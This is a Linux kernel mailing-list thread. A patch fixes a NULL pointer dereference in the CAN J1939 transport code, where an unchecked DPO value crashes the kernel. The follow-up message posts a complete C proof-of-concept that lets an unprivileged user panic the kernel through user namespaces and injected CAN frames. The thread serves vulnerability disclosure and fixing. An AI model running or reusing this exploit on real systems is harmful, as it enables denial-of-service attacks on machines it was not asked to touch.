* [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()
@ 2026-05-17 15:44 Weiming Shi
2026-05-17 15:53 ` Weiming Shi
0 siblings, 1 reply; 2+ messages in thread
From: Weiming Shi @ 2026-05-17 15:44 UTC (permalink / raw)
To: Robin van der Gracht, Oleksij Rempel, Oliver Hartkopp,
Marc Kleine-Budde
Cc: Bastian Stender, Maxime Jayat, linux-can, Xiang Mei, Weiming Shi
j1939_xtp_rx_dpo_one() accepts an attacker-controlled DPO value
without bounds checking. When DPO >= session->pkt.total, the
subsequent j1939_session_skb_get() returns NULL, and
j1939_session_completed() passes it to j1939_sk_recv() which
dereferences oskb->sk, causing a kernel panic.
Oops: general protection fault, 0000 [#1] SMP KASAN NOPTI
KASAN: null-ptr-deref in range [0x0000000000000018-0x000000000000001f]
RIP: 0010:j1939_sk_recv (socket.c:318 socket.c:363)
Call Trace:
<IRQ>
j1939_xtp_rx_eoma (transport.c:1235 transport.c:1412)
j1939_tp_recv (transport.c:2141 transport.c:2189)
j1939_can_recv (main.c:108)
Validate DPO against session->pkt.total in j1939_xtp_rx_dpo_one()
and abort the session if out of bounds. Also add a NULL guard in
j1939_session_completed() as defense in depth.
Fixes: 9d71dd0c7009 ("can: add support of SAE J1939 protocol")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>
---
net/can/j1939/transport.c | 13 ++++++++++---
1 file changed, 10 insertions(+), 3 deletions(-)
diff --git a/net/can/j1939/transport.c b/net/can/j1939/transport.c
index df93d57907da..9b0d67c8a9a0 100644
--- a/net/can/j1939/transport.c
+++ b/net/can/j1939/transport.c
@@ -1231,9 +1231,11 @@ static void j1939_session_completed(struct j1939_session *session)
if (!session->transmission) {
se_skb = j1939_session_skb_get(session);
- /* distribute among j1939 receivers */
- j1939_sk_recv(session->priv, se_skb);
- consume_skb(se_skb);
+ if (se_skb) {
+ /* distribute among j1939 receivers */
+ j1939_sk_recv(session->priv, se_skb);
+ consume_skb(se_skb);
+ }
}
j1939_session_deactivate_activate_next(session);
@@ -1818,6 +1820,11 @@ static void j1939_xtp_rx_dpo_one(struct j1939_session *session,
/* transmitted without problems */
session->pkt.dpo = j1939_etp_ctl_to_packet(skb->data);
+ if (session->pkt.dpo >= session->pkt.total) {
+ j1939_session_timers_cancel(session);
+ j1939_session_cancel(session, J1939_XTP_ABORT_FAULT);
+ return;
+ }
session->last_cmd = dat[0];
j1939_tp_set_rxtimeout(session, 750);
--
2.43.0
^ permalink raw reply related [flat|nested] 2+ messages in thread
* Re: [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed()
2026-05-17 15:44 [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed() Weiming Shi
@ 2026-05-17 15:53 ` Weiming Shi
0 siblings, 0 replies; 2+ messages in thread
From: Weiming Shi @ 2026-05-17 15:53 UTC (permalink / raw)
To: Robin van der Gracht, Oleksij Rempel, Oliver Hartkopp,
Marc Kleine-Budde
Cc: Bastian Stender, Maxime Jayat, linux-can, Xiang Mei
Required key configs for the poc:
- CONFIG_CAN=y
- CONFIG_CAN_J1939=y/m
- CONFIG_CAN_VCAN=y/m
- CONFIG_USER_NS=y
When CONFIG_USER_NS=y, an unprivileged user can trigger this vulnerability
by calling unshare(CLONE_NEWUSER | CLONE_NEWNET) to enter a new user and network
namespace, which grants CAP_NET_RAW without requiring root privileges.
```
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/can.h>
#include <linux/can/raw.h>
#include <linux/can/j1939.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_link.h>
#define J1939_ETP_PGN_CTL 0xc800u
#define J1939_ETP_CMD_RTS 0x14
#define J1939_ETP_CMD_DPO 0x16
#define J1939_ETP_CMD_EOMA 0x17
#define LOCAL_ADDR 0x80
#define REMOTE_ADDR 0x42
#define INNER_PGN 0x0f000u
#define MSG_TOTAL 1792
static void rta_add(struct nlmsghdr *nh, int max, int type,
const void *data, int len)
{
int rta_len = RTA_LENGTH(len);
struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
rta->rta_type = type;
rta->rta_len = rta_len;
if (data && len) memcpy(RTA_DATA(rta), data, len);
nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta_len);
}
static struct rtattr *rta_nest(struct nlmsghdr *nh, int type)
{
struct rtattr *rta = (struct rtattr *)((char *)nh + NLMSG_ALIGN(nh->nlmsg_len));
rta->rta_type = type | NLA_F_NESTED;
rta->rta_len = RTA_LENGTH(0);
nh->nlmsg_len = NLMSG_ALIGN(nh->nlmsg_len) + RTA_ALIGN(rta->rta_len);
return rta;
}
static void rta_nest_end(struct nlmsghdr *nh, struct rtattr *rta)
{
rta->rta_len = (char *)nh + nh->nlmsg_len - (char *)rta;
}
static int create_vcan(const char *name)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
char buf[1024];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifm;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
nh->nlmsg_type = RTM_NEWLINK;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL;
nh->nlmsg_seq = 1;
ifm = NLMSG_DATA(nh);
ifm->ifi_family = AF_UNSPEC;
rta_add(nh, sizeof(buf), IFLA_IFNAME, name, strlen(name) + 1);
struct rtattr *linfo = rta_nest(nh, IFLA_LINKINFO);
rta_add(nh, sizeof(buf), IFLA_INFO_KIND, "vcan", 5);
rta_nest_end(nh, linfo);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(fd, &msg, 0);
char rbuf[4096];
recv(fd, rbuf, sizeof(rbuf), 0);
close(fd);
return 0;
}
static int set_link_up(const char *name)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
int idx = if_nametoindex(name);
if (!idx) { close(fd); return -1; }
char buf[256];
memset(buf, 0, sizeof(buf));
struct nlmsghdr *nh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifm;
nh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifm));
nh->nlmsg_type = RTM_NEWLINK;
nh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nh->nlmsg_seq = 2;
ifm = NLMSG_DATA(nh);
ifm->ifi_family = AF_UNSPEC;
ifm->ifi_index = idx;
ifm->ifi_change = IFF_UP;
ifm->ifi_flags = IFF_UP;
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
struct iovec iov = { .iov_base = nh, .iov_len = nh->nlmsg_len };
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
sendmsg(fd, &msg, 0);
char rbuf[4096];
recv(fd, rbuf, sizeof(rbuf), 0);
close(fd);
return 0;
}
static uint32_t make_canid(uint32_t pgn, uint8_t da, uint8_t sa)
{
uint32_t pri = 6;
return CAN_EFF_FLAG | (pri << 26) | ((pgn & 0x3ff00) << 8) | ((uint32_t)da << 8) | sa;
}
static int send_etp_ctl(int fd, uint8_t cmd, uint32_t inner_pgn,
uint8_t b1, uint8_t b2, uint8_t b3, uint8_t b4,
uint8_t da, uint8_t sa)
{
struct can_frame f = {0};
f.can_id = make_canid(J1939_ETP_PGN_CTL, da, sa);
f.len = 8;
f.data[0] = cmd;
f.data[1] = b1;
f.data[2] = b2;
f.data[3] = b3;
f.data[4] = b4;
f.data[5] = (inner_pgn >> 0) & 0xff;
f.data[6] = (inner_pgn >> 8) & 0xff;
f.data[7] = (inner_pgn >> 16) & 0xff;
return write(fd, &f, sizeof(f));
}
int main(void)
{
printf("[*] Sequential PoC - no race condition needed\n");
if (create_vcan("vcan0") < 0) {
fprintf(stderr, "[-] create_vcan failed\n");
return 1;
}
if (set_link_up("vcan0") < 0) {
fprintf(stderr, "[-] set_link_up failed\n");
return 1;
}
int ifindex = if_nametoindex("vcan0");
if (!ifindex) { fprintf(stderr, "[-] no vcan0\n"); return 1; }
printf("[+] vcan0 ifindex=%d\n", ifindex);
/* Bind J1939 socket at LOCAL_ADDR (0x80) - creates the "receiver" */
int jsk = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (jsk < 0) { perror("socket J1939"); return 1; }
struct sockaddr_can jaddr = {0};
jaddr.can_family = AF_CAN;
jaddr.can_ifindex = ifindex;
jaddr.can_addr.j1939.name = J1939_NO_NAME;
jaddr.can_addr.j1939.addr = LOCAL_ADDR;
jaddr.can_addr.j1939.pgn = J1939_NO_PGN;
if (bind(jsk, (struct sockaddr *)&jaddr, sizeof(jaddr)) < 0) {
perror("bind LOCAL"); return 1;
}
printf("[+] J1939 bound at LOCAL=0x%x\n", LOCAL_ADDR);
/* Bind second J1939 socket at REMOTE_ADDR (0x42) - makes it "local" too */
int jsk2 = socket(PF_CAN, SOCK_DGRAM, CAN_J1939);
if (jsk2 < 0) { perror("socket J1939 remote"); return 1; }
struct sockaddr_can jaddr2 = {0};
jaddr2.can_family = AF_CAN;
jaddr2.can_ifindex = ifindex;
jaddr2.can_addr.j1939.name = J1939_NO_NAME;
jaddr2.can_addr.j1939.addr = REMOTE_ADDR;
jaddr2.can_addr.j1939.pgn = J1939_NO_PGN;
if (bind(jsk2, (struct sockaddr *)&jaddr2, sizeof(jaddr2)) < 0) {
perror("bind REMOTE"); return 1;
}
printf("[+] J1939 bound at REMOTE=0x%x\n", REMOTE_ADDR);
/* Raw CAN socket for injecting frames */
int rsk = socket(PF_CAN, SOCK_RAW, CAN_RAW);
if (rsk < 0) { perror("socket RAW"); return 1; }
int loopback = 1;
setsockopt(rsk, SOL_CAN_RAW, CAN_RAW_LOOPBACK, &loopback, sizeof(loopback));
struct sockaddr_can raddr = {0};
raddr.can_family = AF_CAN;
raddr.can_ifindex = ifindex;
if (bind(rsk, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("bind RAW"); return 1;
}
printf("[+] Raw CAN socket ready\n");
printf("\n[*] Step 1: Send RTS (REMOTE->LOCAL, size=%d)\n", MSG_TOTAL);
uint32_t size = MSG_TOTAL;
send_etp_ctl(rsk, J1939_ETP_CMD_RTS, INNER_PGN,
size & 0xff, (size >> 8) & 0xff,
(size >> 16) & 0xff, (size >> 24) & 0xff,
LOCAL_ADDR, REMOTE_ADDR);
/* Wait for session to be created and RTS processed */
usleep(50000);
printf("[*] Step 2: Send malicious DPO (dpo=0x7FFFFF)\n");
/* DPO frame: bytes 2-4 = 24-bit packet offset (little-endian) */
/* j1939_etp_ctl_to_packet reads dat[2]|(dat[3]<<8)|(dat[4]<<16) */
send_etp_ctl(rsk, J1939_ETP_CMD_DPO, INNER_PGN,
0x00, /* number of packets to skip (ignored for our purpose) */
0xff, 0xff, 0x7f, /* DPO bytes: 0xFF | (0xFF<<8) | (0x7F<<16) = 0x7FFFFF */
LOCAL_ADDR, REMOTE_ADDR);
/* Wait for DPO to be fully processed */
usleep(50000);
printf("[*] Step 3: Send EOMA (LOCAL->REMOTE, triggers completion)\n");
uint32_t eoma_size = MSG_TOTAL;
send_etp_ctl(rsk, J1939_ETP_CMD_EOMA, INNER_PGN,
eoma_size & 0xff, (eoma_size >> 8) & 0xff,
(eoma_size >> 16) & 0xff, (eoma_size >> 24) & 0xff,
REMOTE_ADDR, LOCAL_ADDR);
/* If we reach here, the kernel didn't crash */
usleep(200000);
printf("[-] No crash - kernel survived\n");
close(rsk);
close(jsk);
close(jsk2);
return 0;
}
```
^ permalink raw reply [flat|nested] 2+ messages in thread
end of thread, other threads:[~2026-05-17 15:53 UTC | newest]
Thread overview: 2+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-05-17 15:44 [PATCH] can: j1939: fix NULL pointer dereference in j1939_session_completed() Weiming Shi
2026-05-17 15:53 ` Weiming Shi
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox